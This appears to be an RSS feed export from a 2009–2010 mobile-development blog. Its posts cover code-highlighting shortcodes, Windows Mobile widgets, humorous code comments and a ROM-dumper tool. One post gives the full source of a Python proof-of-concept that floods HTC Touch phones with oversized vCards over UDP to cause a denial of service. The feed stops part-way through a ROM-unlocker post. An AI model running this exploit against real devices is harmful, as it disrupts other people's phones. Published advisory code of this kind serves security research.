<?xml version="1.0" encoding="UTF-8"?> <rss version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:wfw="http://wellformedweb.org/CommentAPI/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
><channel><title>Buzzdev.org &#187; source code</title> <atom:link href="http://buzzdev.org/tag/source-code/feed/" rel="self" type="application/rss+xml" /><link>http://buzzdev.org</link> <description>your mobile community [BETA]</description> <lastBuildDate>Tue, 22 Jun 2010 06:37:01 +0000</lastBuildDate> <language>en</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <item><title>How to post source code for highliting</title><link>http://buzzdev.org/how-to/how-to-post-source-code-for-highliting/</link> <comments>http://buzzdev.org/how-to/how-to-post-source-code-for-highliting/#comments</comments> <pubDate>Fri, 05 Jun 2009 10:20:01 +0000</pubDate> <dc:creator>buzz_lightyear</dc:creator> <category><![CDATA[How To]]></category> <category><![CDATA[howto]]></category> <category><![CDATA[posting]]></category> <category><![CDATA[source code]]></category><guid isPermaLink="false">http://buzzdev.org/?p=677</guid> <description><![CDATA[<a href="http://buzzdev.org/how-to/how-to-post-source-code-for-highliting/"><img align="left" hspace="5" width="150" height="150" src="http://buzzdev.org/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>Here&#8217;s little howto about posting source code in your posts, here at buzzdev website. Posting Source Code While our site doesn’t allow you to use potentially dangerous code on your blog, there is a way to post source code for viewing. We have created a shortcode you can wrap around source code that preserves its [...]<h4>Related posts:</h4><ol><li><a href='http://buzzdev.org/software-development/the-best-of-source-code-comments/' rel='bookmark' title='Permanent Link: The Best of Source Code Comments'>The Best of Source Code Comments</a></li><li><a href='http://buzzdev.org/software-development/grab_it-rom-dumper-source-code/' rel='bookmark' title='Permanent Link: grab_it ROM dumper [source code]'>grab_it ROM dumper [source code]</a></li><li><a href='http://buzzdev.org/android/android-open-source-project/' rel='bookmark' title='Permanent Link: Android Open Source Project'>Android Open Source Project</a></li></ol>]]></description> <content:encoded><![CDATA[<p>Here&#8217;s little howto about posting source code in your posts, here at buzzdev website.</p><h3>Posting Source Code</h3><p>While our site doesn’t allow you to use potentially dangerous code on your blog, there is a way to post source code for viewing. We have created a shortcode you can wrap around source code that preserves its formatting and even provides syntax highlighting for certain languages, like so:</p><pre class="brush: css">#button {
font-weight: bold;
border: 2px solid #fff;
}</pre><p>Wrap your code in these tags:<br /> <code>[<span>sourcecode language='css'</span>]<br /> your code here<br /> [<span>/sourcecode</span>]</code></p><p>Any of the following can be used for the language parameter (using one is required):</p><ul><li>bash</li><li>cpp</li><li>csharp</li><li>css</li><li>delphi</li><li>html</li><li>java</li><li>jscript</li><li>php</li><li>python</li><li>ruby</li><li>shell</li><li>sql</li><li>vb</li><li>xml</li></ul><p>Code in between the <code>[<span>sourcecode</span>]</code> tags will automatically be encoded for display, you don’t need to worry about HTML entities or anything.</p><h3>Other BBCode Methods</h3><p>Find <code>[<span>sourcecode language='css'</span>]code here[<span>/sourcecode</span>]</code> too long to type? Here&#8217;s some alternative examples:</p><p><code>[<span>source language='css'</span>]code here[<span>/source</span>]</code><br /> <code>[<span>code language='css'</span>]code here[<span>/code</span>]</code><br /> <code>[<span>sourcecode lang='css'</span>]code here[<span>/sourcecode</span>]</code><br /> <code>[<span>source lang='css'</span>]code here[<span>/source</span>]</code><br /> <code>[<span>code lang='css'</span>]code here[<span>/code</span>]</code><br /> <code>[<span>sourcecode='css'</span>]code here[<span>/sourcecode</span>]</code><br /> <code>[<span>source='css'</span>]code here[<span>/source</span>]</code><br /> <code>[<span>code='css'</span>]code here[<span>/code</span>]</code><br /> <code>[<span>lang='css'</span>]code here[<span>/lang</span>]</code><br /> <code>[<span>css</span>]code here[<span>/css</span>]</code> (or any of the supported language)</p><p>Note: Quotation marks around the language can be omitted for even shorter and neater syntax.</p><h3>FAQ</h3><p><strong>I still see the BBCode in my post. What gives?</strong><br /> Make sure you correctly use the BBCode with a valid language attribute. A malformed usage of it won&#8217;t result in replacement.</p><p><strong>I use the visual editor, my code has lots of line breaks inserted, what do I do?</strong><br /> Use &#8216;shift + return&#8217; instead of &#8216;return&#8217; when changing lines.</p><h4>Related posts:</h4><ol><li><a href='http://buzzdev.org/software-development/the-best-of-source-code-comments/' rel='bookmark' title='Permanent Link: The Best of Source Code Comments'>The Best of Source Code Comments</a></li><li><a href='http://buzzdev.org/software-development/grab_it-rom-dumper-source-code/' rel='bookmark' title='Permanent Link: grab_it ROM dumper [source code]'>grab_it ROM dumper [source code]</a></li><li><a href='http://buzzdev.org/android/android-open-source-project/' rel='bookmark' title='Permanent Link: Android Open Source Project'>Android Open Source Project</a></li></ol>]]></content:encoded> <wfw:commentRss>http://buzzdev.org/how-to/how-to-post-source-code-for-highliting/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Getting started with widgets on Windows Mobile 6.5</title><link>http://buzzdev.org/how-to/getting-started-with-widgets-on-windows-mobile-65/</link> <comments>http://buzzdev.org/how-to/getting-started-with-widgets-on-windows-mobile-65/#comments</comments> <pubDate>Fri, 05 Jun 2009 09:41:20 +0000</pubDate> <dc:creator>buzz_lightyear</dc:creator> <category><![CDATA[How To]]></category> <category><![CDATA[Software development]]></category> <category><![CDATA[Windows Mobile]]></category> <category><![CDATA[howto]]></category> <category><![CDATA[source code]]></category> <category><![CDATA[Windows Mobile 6.5]]></category><guid isPermaLink="false">http://buzzdev.org/?p=674</guid> <description><![CDATA[<a href="http://buzzdev.org/how-to/getting-started-with-widgets-on-windows-mobile-65/"><img align="left" hspace="5" width="150" src="http://buzzdev.org///y1ps0q7VW13cB77lTBLVF4XkgJVOV6jBdjUDxxxP2h34IADOqn4XMOHkzqQ8h1oc5gbLFMwT4vye3uMLK0ISgHGLfUQt7F_69BD/WMDC_Config.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>Now that the Windows Mobile 6.5 resource kit is out (You can download it from here) it is time to start writing widgets!!! Necessary equipment The 6.5 emulator images The web development environment of choice WMDC or Windows mobile device center (on vista or windows 7) or ActiveSync 4.5 With that you should be ready [...]<h4>Related posts:</h4><ol><li><a href='http://buzzdev.org/latest-news/windows-mobile-65-sdks-available-for-download/' rel='bookmark' title='Permanent Link: Windows Mobile 6.5 DTK available for download'>Windows Mobile 6.5 DTK available for download</a></li><li><a href='http://buzzdev.org/htc-devices/how-to-unlockflash-htc-universal-using-windows-vista/' rel='bookmark' title='Permanent Link: How to Unlock/Flash HTC Universal using Windows Vista'>How to Unlock/Flash HTC Universal using Windows Vista</a></li><li><a href='http://buzzdev.org/how-to/how-to-start-developing-for-windows-mobile/' rel='bookmark' title='Permanent Link: How to start developing for Windows Mobile'>How to start developing for Windows Mobile</a></li></ol>]]></description> <content:encoded><![CDATA[<p>Now that the Windows Mobile 6.5 resource kit is out (<a href="http://www.microsoft.com/downloads/details.aspx?displaylang=en&amp;FamilyID=20686a1d-97a8-4f80-bc6a-ae010e085a6e" target="_blank">You can download it from here</a>) it is time to start writing widgets!!!</p><h3>Necessary equipment</h3><ol><li><a href="http://www.microsoft.com/downloads/details.aspx?displaylang=en&amp;FamilyID=20686a1d-97a8-4f80-bc6a-ae010e085a6e" target="_blank">The 6.5 emulator images</a></li><li>The web development environment of choice</li><li><a href="http://www.microsoft.com/windowsmobile/en-us/help/synchronize/device-synch.mspx" target="_blank">WMDC or Windows mobile device center</a> (on vista or windows 7) or ActiveSync 4.5</li></ol><p>With that you should be ready to go to get started, the first step is to start the emulator and cradle the device. The emulators can be started from the start menu under the “Windows Mobile 6 SDK -&gt; Stand Alone Emulator Images -&gt; ”.  The device emulator manager can be started using explorer to navigate to the following folder “C:\Program Files\Microsoft Device Emulator\1.0” and selecting dvcemumanager.exe.</p><p>Once they are both started, open WMDC or ActiveSync and select connection options and, on the “Connect one of the following” combo box select “DMA” and click “OK”.</p><p><img src="http://buzzdev.org///y1ps0q7VW13cB77lTBLVF4XkgJVOV6jBdjUDxxxP2h34IADOqn4XMOHkzqQ8h1oc5gbLFMwT4vye3uMLK0ISgHGLfUQt7F_69BD/WMDC_Config.png" alt="" /></p><p>Now, on the “Device Emulator Manager” select “Refresh” and then find the emulator on the list, should be the GUID under others and right click -&gt; cradle to connect it to the PC.</p><p><img src="http://buzzdev.org///y1pVuOpoRNAlHZvW5qnsyJLmpBbSaMwxu8zKbKQtVEwqRynaHQFICdQ_94Rb4xk_Tm8bBxleVVvzgvbL--mZB03zWdnHsz9Se8N/devemmanager.png" alt="" /></p><p>Once that is done, select “Connect without setting up my device” and you should be ready to go, to test, open internet explorer on the 6.5 emulator and navigate to any site, if all is set up correctly it will navigate to it using our brand new browser.</p><p>And now&#8230;. the fun part begins!</p><p>To write a widget we need to follow three easy steps.</p><h3>Develop your widget code</h3><p>For this you can use the web development tool of your choice, but as an example we can start with something super simple, as follows (write it into a widget.htm document)</p><p><a href="http://buzzdev.org/files/2009/06/code02.jpg"></a><a href="http://buzzdev.org/files/2009/06/code01.jpg"><img class="alignnone size-full wp-image-676" src="http://buzzdev.org/files/2009/06/code01.jpg" alt="code01" width="307" height="137" /></a></p><h3>Package your widget</h3><p>Now we have our extremely functional widget code, now we need to create a manifest file (so the framework knows what to do with it) following the w3C widget standard for packaging and configuration (On 6.5 we support the December 22 2008 draft), but to make things easy, here is a small manifest, copy it into a config.xml file in the same folder as your widget.htm</p><p><a href="http://buzzdev.org/files/2009/06/code02.jpg"><img class="alignnone size-full wp-image-675" src="http://buzzdev.org/files/2009/06/code02.jpg" alt="code02" width="425" height="216" /></a></p><p>Don’t forget to also add an icon called icon.png on the same folder.</p><p>At this point, you should have three files (config.xml, icon.png and widget.htm), now we need to package them, on explorer, select the files, right click and send to a compressed folder (it is important to select the files and not the folder that contains them because we want config.xml  to be in the root of the zip container).  Now just rename the newly created zip file to “widget.wgt” and you are done with this step.</p><h3>Deploy and run</h3><p>On “Computer” you should see the cradled device emulator as “PocketPC device”</p><p><img src="http://buzzdev.org///y1pvAGRiDYWDvYhCwNhozWGypSn_NO5CK8u00PLD-nHrzeCOLjHvhV1IQGXMroLGN5j5KiPuOJ76OHeNrCITdXhzA/explorer_1.png" alt="" /></p><p>Use it to navigate to “My Documents” on the device and copy the widget file created in step 2 there.  Now, on the emulator, open file explorer using the start menu and, listed there you should see your widget file, click on it.</p><p><img src="http://buzzdev.org///y1pBw08hamrQOfBRnXXfFDJcw9XEjAO262IZDlh-RnvUF1WLNP0VmUnUJC1GYdHQEYDMN5R2hh90NK_m_hU_j3P0Q/widget_explorer.png" alt="" /></p><p>This should start the installation process, once that is done you will see your very first widget on screen!!!</p><p><img src="http://buzzdev.org///y1p_VFV6nB7rps8UvpQBsC8-bsOYGMktgrU4oXo1pRFGwP0CDt6VaVg7q1eA90CwiKKtPUgCy2-fPHQS55_5mRyUw/widget_running.png" alt="" /></p><p>To continue playing with this widget (make it better, etc) you can find the uncompressed files on the “Program Files\Widgets\User\ folder&#8221; on the device.</p><p><img src="http://buzzdev.org///y1pDDiXMGdvkLNgdnJw2KYrsi9LCHKzw9YMfS0rXSnB30VgjRrsyyrrRMxNM_8iYzX24m8QKo0z7w4fW0kd6WDgRrj_na37zHc3/uncompressed.png" alt="" /></p><p>The widget ID is generated at install time and it is an always increasing integer (therefore, the most recently installed widget will have the greatest number).  You can replace, add, remove files here for testing at will; the only thing you need for a your widget to pick the changes up is to exit it and start it again, it will have an entry on the start menu.</p><p>I will be sharing more information about the widget API, how to extend the widget framework capabilities, debugging tips, best practices, etc in future posts but I wanted to help everyone to get started.</p><p>For now, you can also take a quick look at my  TechDays session where I describe the API set and some of the capabilities of the framework.   To access it you&#8217;ll need to log into the <a href="http://www.msfttechdays.com/public/home.aspx" target="_blank">Microsoft Tech Days site</a> and search for <strong>MBL302 Windows Mobile Web and Widgets: Leveraging web technologies to build experiences for Windows Mobile</strong>.</p><p>Stay tuned, have fun and don&#8217;t forget to share your thoughts&#8230; Also, before I forget, you can upload your cool widget creations to the Marketplace :), visit <a href="http://developer.windowsmobile.com/" target="_blank">http://developer.windowsmobile.com</a> for more information.</p><p><a href="http://blogs.msdn.com/windowsmobile/archive/2009/06/04/getting-started-with-widgets-on-windows-mobile-6-5.aspx" target="_blank">Jorge Peraza</a></p><h4>Related posts:</h4><ol><li><a href='http://buzzdev.org/latest-news/windows-mobile-65-sdks-available-for-download/' rel='bookmark' title='Permanent Link: Windows Mobile 6.5 DTK available for download'>Windows Mobile 6.5 DTK available for download</a></li><li><a href='http://buzzdev.org/htc-devices/how-to-unlockflash-htc-universal-using-windows-vista/' rel='bookmark' title='Permanent Link: How to Unlock/Flash HTC Universal using Windows Vista'>How to Unlock/Flash HTC Universal using Windows Vista</a></li><li><a href='http://buzzdev.org/how-to/how-to-start-developing-for-windows-mobile/' rel='bookmark' title='Permanent Link: How to start developing for Windows Mobile'>How to start developing for Windows Mobile</a></li></ol>]]></content:encoded> <wfw:commentRss>http://buzzdev.org/how-to/getting-started-with-widgets-on-windows-mobile-65/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>The Best of Source Code Comments</title><link>http://buzzdev.org/software-development/the-best-of-source-code-comments/</link> <comments>http://buzzdev.org/software-development/the-best-of-source-code-comments/#comments</comments> <pubDate>Thu, 23 Apr 2009 12:03:40 +0000</pubDate> <dc:creator>buzz_lightyear</dc:creator> <category><![CDATA[Software development]]></category> <category><![CDATA[source code]]></category><guid isPermaLink="false">http://buzzdev.org/?p=641</guid> <description><![CDATA[<a href="http://buzzdev.org/software-development/the-best-of-source-code-comments/"><img align="left" hspace="5" width="150" height="150" src="http://buzzdev.org/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>Well.. do you write comments in your source code? I'm sure you do, but are they funny enough?<h4>Related posts:</h4><ol><li><a href='http://buzzdev.org/how-to/how-to-post-source-code-for-highliting/' rel='bookmark' title='Permanent Link: How to post source code for highliting'>How to post source code for highliting</a></li><li><a href='http://buzzdev.org/software-development/grab_it-rom-dumper-source-code/' rel='bookmark' title='Permanent Link: grab_it ROM dumper [source code]'>grab_it ROM dumper [source code]</a></li><li><a href='http://buzzdev.org/android/android-open-source-project/' rel='bookmark' title='Permanent Link: Android Open Source Project'>Android Open Source Project</a></li></ol>]]></description> <content:encoded><![CDATA[<p>Well.. do you write comments in your source code? I&#8217;m sure you do, but are they funny enough?</p><p>Then join the <a href="http://stackoverflow.com/questions/184618?sort=votes&amp;page=1#sort-top" target="_blank">Best Comments in Source Code</a> at <a href="http://stackoverflow.com" target="_blank">Stack Overflow site</a> or at least read it. Your satisfaction is guaranteed :)</p><p>Some examples:</p><pre>/**
 * Always returns true.
 */
public boolean isAvailable() {
    return false;
}</pre><pre>stop(); // Hammertime!</pre><pre>// sometimes I believe compiler ignores all my comments</pre><pre>// I dedicate all this code, all my work, to my wife, Darlene, who will
// have to support me and our three children and the dog once it gets
// released into the public.</pre><pre>// drunk, fix later</pre><pre>// Magic. Do not touch.</pre><pre>//When I wrote this, only God and I understood what I was doing
//Now, God only knows</pre><pre>//
// Dear maintainer:
//
// Once you are done trying to 'optimize' this routine,
// and have realized what a terrible mistake that was,
// please increment the following counter as a warning
// to the next guy:
//
// total_hours_wasted_here = 16
//</pre><h4>Related posts:</h4><ol><li><a href='http://buzzdev.org/how-to/how-to-post-source-code-for-highliting/' rel='bookmark' title='Permanent Link: How to post source code for highliting'>How to post source code for highliting</a></li><li><a href='http://buzzdev.org/software-development/grab_it-rom-dumper-source-code/' rel='bookmark' title='Permanent Link: grab_it ROM dumper [source code]'>grab_it ROM dumper [source code]</a></li><li><a href='http://buzzdev.org/android/android-open-source-project/' rel='bookmark' title='Permanent Link: Android Open Source Project'>Android Open Source Project</a></li></ol>]]></content:encoded> <wfw:commentRss>http://buzzdev.org/software-development/the-best-of-source-code-comments/feed/</wfw:commentRss> <slash:comments>4</slash:comments> </item> <item><title>vCard over IP Denial of Service exploit</title><link>http://buzzdev.org/htc-devices/vcard-over-ip-denial-of-service-exploit/</link> <comments>http://buzzdev.org/htc-devices/vcard-over-ip-denial-of-service-exploit/#comments</comments> <pubDate>Tue, 03 Mar 2009 08:50:55 +0000</pubDate> <dc:creator>buzz_lightyear</dc:creator> <category><![CDATA[HTC devices]]></category> <category><![CDATA[Latest News]]></category> <category><![CDATA[Mobile Security]]></category> <category><![CDATA[Windows Mobile]]></category> <category><![CDATA[exploit]]></category> <category><![CDATA[HTC Touch]]></category> <category><![CDATA[HTC Touch Cruise]]></category> <category><![CDATA[security]]></category> <category><![CDATA[source code]]></category><guid isPermaLink="false">http://wp.buzzdev.net/?p=373</guid> <description><![CDATA[<a href="http://buzzdev.org/htc-devices/vcard-over-ip-denial-of-service-exploit/"><img align="left" hspace="5" width="150" height="150" src="http://buzzdev.org/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>The source code for HTC Touch vCard DoS exploit<h4>Related posts:</h4><ol><li><a href='http://buzzdev.org/latest-news/htc-touch-vcard-over-ip-denial-of-service/' rel='bookmark' title='Permanent Link: HTC Touch vCard over IP Denial of Service'>HTC Touch vCard over IP Denial of Service</a></li><li><a href='http://buzzdev.org/latest-news/sonyericsson-wap-push-denial-of-service/' rel='bookmark' title='Permanent Link: SonyEricsson WAP Push Denial of Service'>SonyEricsson WAP Push Denial of Service</a></li><li><a href='http://buzzdev.org/how-to/delay-loading-of-a-service-by-adding-a-dependency/' rel='bookmark' title='Permanent Link: Delay loading of a service by adding a dependency'>Delay loading of a service by adding a dependency</a></li></ol>]]></description> <content:encoded><![CDATA[<p>Below is the source code for <a href="http://wp.buzzdev.net/buzz_lightyear/htc-touch-vcard-over-ip-denial-of-service">HTC Touch vCard DoS exploit</a></p><pre class="brush: python">#! /usr/bin/env python
#
# Copyright (c) 2009 Mobile Security Lab www.mseclab.com
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the &quot;Software&quot;), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED &quot;AS IS&quot;, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#

from socket import *
from sys import exit,argv
from time import *
import random
from optparse import OptionParser

# Global Variables
PORT = 9204
DEF_NUM_PACKETS = 10
DEF_VCARD_LEN = 1410
DEF_DELAY = 0.7
VCARD_HEADER = &quot;BEGIN:VCARD\r\nVERSION:2.1\r\nN:&quot;
VCARD_TRAILER = &quot;\r\nEND:VCARD\r\n&quot;

def main():
    # Local variables
    num_packets = DEF_NUM_PACKETS
    delay = DEF_DELAY

    print &quot;\nMSL-2008-002 PoC for HTC Touch\nMobile Security Lab 2009\n&quot;
    # Parsing options
    parser = OptionParser(&quot;usage: %prog [options] target_IP&quot;)
    parser.add_option(&quot;-s&quot;, &quot;--silence&quot;, action=&quot;store_true&quot;, dest=&quot;silence&quot;, help=&quot;send silent vcards (32k)&quot;)
    parser.add_option(&quot;-c&quot;, &quot;--count&quot;, type=&quot;int&quot;, help=&quot;specify vcard length&quot;, dest=&quot;count&quot;)
    parser.add_option(&quot;-d&quot;, &quot;--delay&quot;, type=&quot;float&quot;, help=&quot;specify delay between packets&quot;, dest=&quot;delay&quot;)
    parser.add_option(&quot;-l&quot;, &quot;--len&quot;, type=&quot;int&quot;, help=&quot;specify vcard length&quot;, dest=&quot;len&quot;)
    parser.add_option(&quot;-t&quot;, &quot;--text&quot;, type=&quot;string&quot;, help=&quot;specify vcard body text&quot;, dest=&quot;text&quot;)

    # Parse input
    (options, args) = parser.parse_args()
    if len(args) != 1:
        parser.print_help()
        print &quot;&quot;
        exit(1)

    if options.count:
        num_packets = options.count

    if options.delay:
        delay = options.delay

    if options.silence:
        vcard_body = VCARD_HEADER+&#039;A&#039; *32722+VCARD_TRAILER
    elif options.len:
        vcard_body = VCARD_HEADER+&#039;A&#039; *options.len+VCARD_TRAILER
    elif options.text:
        vcard_body = VCARD_HEADER+options.text+VCARD_TRAILER
    else:
        vcard_body = VCARD_HEADER+&#039;A&#039; *DEF_VCARD_LEN+VCARD_TRAILER

    # Socket creation
    udp_sock = socket(AF_INET, SOCK_DGRAM)
    ADDR = (args[0],PORT)

    # Start sending packet
    counter = 1
    c_lap = 0
    total_data = 0
    print &quot;Sending %d packets... to %s&quot; % (num_packets,ADDR)
    start_time = time()
    start_lap = time()

    # Start sending packet
    while counter &amp;lt; = num_packets:
        len_sent = udp_sock.sendto(vcard_body,ADDR)
        if len_sent != len(vcard_body):
            print &quot;Error sending packet n.%d&quot; %counter
            break

        # Update Counter
        counter += 1
        c_lap += 1
        total_data += len_sent

        # Sleep for letting the device parse vcards
        sleep(delay)

        # Check number of packets in a second
        local_lap = time()
        if local_lap - start_lap &amp;gt;= 1:
            print &quot;%0.2f packets/sec&quot; % (c_lap/(local_lap - start_lap))
            start_lap = local_lap
            c_lap = 0

    stop_time = time()
    stop_sec = stop_time - start_time

    # Display info
    print &quot;Sent %d packets in %f seconds&quot; % (num_packets, stop_sec)
    print &quot;Start time: %s&quot; %ctime(start_time)
    print &quot;Stop time: %s&quot; %ctime(stop_time)
    print &quot;Payload Len = %d bytes&quot; % len(vcard_body)
    print &quot;Total Data sent = %d bytes (about %0.2f kB)&quot; % (total_data, (float(total_data)/float(1024)))

#Global start
if __name__ == &quot;__main__&quot;:
    main()

# milw0rm.com 2009-03-02</pre><h4>Related posts:</h4><ol><li><a href='http://buzzdev.org/latest-news/htc-touch-vcard-over-ip-denial-of-service/' rel='bookmark' title='Permanent Link: HTC Touch vCard over IP Denial of Service'>HTC Touch vCard over IP Denial of Service</a></li><li><a href='http://buzzdev.org/latest-news/sonyericsson-wap-push-denial-of-service/' rel='bookmark' title='Permanent Link: SonyEricsson WAP Push Denial of Service'>SonyEricsson WAP Push Denial of Service</a></li><li><a href='http://buzzdev.org/how-to/delay-loading-of-a-service-by-adding-a-dependency/' rel='bookmark' title='Permanent Link: Delay loading of a service by adding a dependency'>Delay loading of a service by adding a dependency</a></li></ol>]]></content:encoded> <wfw:commentRss>http://buzzdev.org/htc-devices/vcard-over-ip-denial-of-service-exploit/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>grab_it ROM dumper [source code]</title><link>http://buzzdev.org/software-development/grab_it-rom-dumper-source-code/</link> <comments>http://buzzdev.org/software-development/grab_it-rom-dumper-source-code/#comments</comments> <pubDate>Thu, 29 May 2008 09:03:55 +0000</pubDate> <dc:creator>buzz_lightyear</dc:creator> <category><![CDATA[Software development]]></category> <category><![CDATA[Windows Mobile]]></category> <category><![CDATA[dump]]></category> <category><![CDATA[grab]]></category> <category><![CDATA[ROM]]></category> <category><![CDATA[source code]]></category><guid isPermaLink="false">http://wp.buzzdev.net/?p=51</guid> <description><![CDATA[<a href="http://buzzdev.org/software-development/grab_it-rom-dumper-source-code/"><img align="left" hspace="5" width="150" height="150" src="http://buzzdev.org/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>// by buzz_lightyear // sometime around may/june 2005 // http://buzzdev.net #include "stdafx.h" #include "windows.h" // in this case, dump will be saved to MiniSD card #define targetFile L"\Mini-SD\dump.bin" int lineHeight=1;<h4>Related posts:</h4><ol><li><a href='http://buzzdev.org/mobile-security/grab_it-invisible-rom-dumper/' rel='bookmark' title='Permanent Link: grab_it &#8211; invisible ROM dumper'>grab_it &#8211; invisible ROM dumper</a></li><li><a href='http://buzzdev.org/software-development/the-best-of-source-code-comments/' rel='bookmark' title='Permanent Link: The Best of Source Code Comments'>The Best of Source Code Comments</a></li><li><a href='http://buzzdev.org/how-to/how-to-post-source-code-for-highliting/' rel='bookmark' title='Permanent Link: How to post source code for highliting'>How to post source code for highliting</a></li></ol>]]></description> <content:encoded><![CDATA[<p>Here&#8217;s the source code of grab_it tool.<br /> I wrote it sometimes around may/june 2005 for some specific reason.</p><p>Maybe someone find this c++ source code useful.</p><pre class="brush: cpp">// grab_it.cpp : Defines the entry point for the application.
// by buzz_lightyear
// sometime around may/june 2005
// http://buzzdev.net

#include &quot;stdafx.h&quot;
#include &quot;windows.h&quot;

// in this case, dump will be saved to MiniSD card
#define targetFile L&quot;\Mini-SD\dump.bin&quot;

int		lineHeight=1;		//progress bar height
int		drawPoint=319;
int		BarPosition=0;
int		screenWidth = GetSystemMetrics(SM_CXSCREEN);
HDC		hdc = ::GetDC(NULL);
HPEN	lineProgress,lineBackground,po;	// Pen Progress bar

wchar_t	Buff[1024];		// buffer for Error messages

DWORD	DumpStart=0x00000000;		//start address
DWORD	DumpSize=0x8000000;			//Size
DWORD	Step=0x80000;

extern &quot;C&quot; BOOL VirtualCopy(
  LPVOID lpvDest,
  LPVOID lpvSrc,
  DWORD cbSize,
  DWORD fdwProtect
);

int ShowProgress(int pos){
	MoveToEx(hdc,0,drawPoint,NULL);

	po = (HPEN)SelectObject(hdc,lineBackground);
	LineTo(hdc,pos,drawPoint);

    SelectObject(hdc,lineProgress);
    LineTo(hdc,screenWidth,drawPoint);

	SelectObject(hdc,lineBackground);
    LineTo(hdc,screenWidth,drawPoint);

return 0;
}

int ShowError(wchar_t text[1024]){
	MessageBox(NULL,text,L&quot;ERROR&quot;,MB_OK | MB_TOPMOST | MB_SETFOREGROUND);
	return 0;
}

int WINAPI WinMain(	HINSTANCE hInstance,
					HINSTANCE hPrevInstance,
					LPTSTR    lpCmdLine,
					int       nCmdShow)
{/// 1st

	lineProgress = CreatePen(PS_SOLID,lineHeight,RGB(255,0,0)); // Progress bar
	lineBackground = CreatePen(PS_SOLID,lineHeight,RGB(100,100,100)); // Background bar

	HANDLE H=CreateFile(targetFile,GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_FLAG_WRITE_THROUGH,0);
	if(H==INVALID_HANDLE_VALUE)
	{
		MessageBox(NULL,L&quot;Cannot create file!&quot;,L&quot;Error&quot;,MB_OK);
		return 1;
	}

	//for( i; i&amp;lt;(DumpStart+DumpSize); i+=Step)
	{
		LPVOID Ptr=VirtualAlloc(
			0,
			512*1024,
			MEM_RESERVE,
			PAGE_READONLY
			);
		if(Ptr==0)
		{
			wsprintf(Buff,L&quot;Cannot allocate %08X&quot;,i);
			ShowError(Buff);
			return 1;
		}
		/// update progress bar ///
		BarPosition=((i-DumpStart)/(DumpSize/screenWidth));
		ShowProgress(BarPosition);
		///////////////////////////

		if(!VirtualCopy(Ptr,(void*)(i/256),512*1024,PAGE_EXECUTE_READWRITE|PAGE_PHYSICAL))
		{
			wsprintf(Buff,L&quot;Cannot map %08X&quot;,i);
			ShowError(Buff);
			return 1;
		}
		DWORD W=0;
		WriteFile(H,Ptr,512*1024,&amp;amp;W,0);
		if(W!=512*1024)
		{
			wsprintf(Buff,L&quot;Error on WriteFile. Card full?&quot;,i);
			ShowError(Buff);
			return 1;
		}
		VirtualFree(Ptr,0,MEM_RELEASE);
	}

	CloseHandle(H);

	MessageBeep(MB_OK);

	DeleteObject(lineBackground);
	DeleteObject(lineProgress);
	return 0;
}</pre><h4>Related posts:</h4><ol><li><a href='http://buzzdev.org/mobile-security/grab_it-invisible-rom-dumper/' rel='bookmark' title='Permanent Link: grab_it &#8211; invisible ROM dumper'>grab_it &#8211; invisible ROM dumper</a></li><li><a href='http://buzzdev.org/software-development/the-best-of-source-code-comments/' rel='bookmark' title='Permanent Link: The Best of Source Code Comments'>The Best of Source Code Comments</a></li><li><a href='http://buzzdev.org/how-to/how-to-post-source-code-for-highliting/' rel='bookmark' title='Permanent Link: How to post source code for highliting'>How to post source code for highliting</a></li></ol>]]></content:encoded> <wfw:commentRss>http://buzzdev.org/software-development/grab_it-rom-dumper-source-code/feed/</wfw:commentRss> <slash:comments>2</slash:comments> </item> <item><title>Extended ROM unlocker for WindowsMobile 2005</title><link>http://buzzdev.org/software-development/extended-rom-unlocker-for-windowsmobile-2005/</link> <comments>http://buzzdev.org/software-development/extended-rom-unlocker-for-windowsmobile-2005/#comments</comments> <pubDate>Wed, 28 May 2008 09:53:17 +0000</pubDate> <dc:creator>buzz_lightyear</dc:creator> <category><![CDATA[Software development]]></category> <category><![CDATA[DOC]]></category> <category><![CDATA[Extended ROM]]></category> <category><![CDATA[source code]]></category> <category><![CDATA[unlock]]></category><guid isPermaLink="false">http://wp.buzzdev.net/?p=47</guid> <description><![CDATA[<a href="http://buzzdev.org/software-development/extended-rom-unlocker-for-windowsmobile-2005/"><img align="left" hspace="5" width="150" height="150" src="http://buzzdev.org/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>Here&#8217;s the source code of Extended ROM unlocker for: HTC Himalaya HTC Prophet HTC Apache HTC Universal This c++ source works on 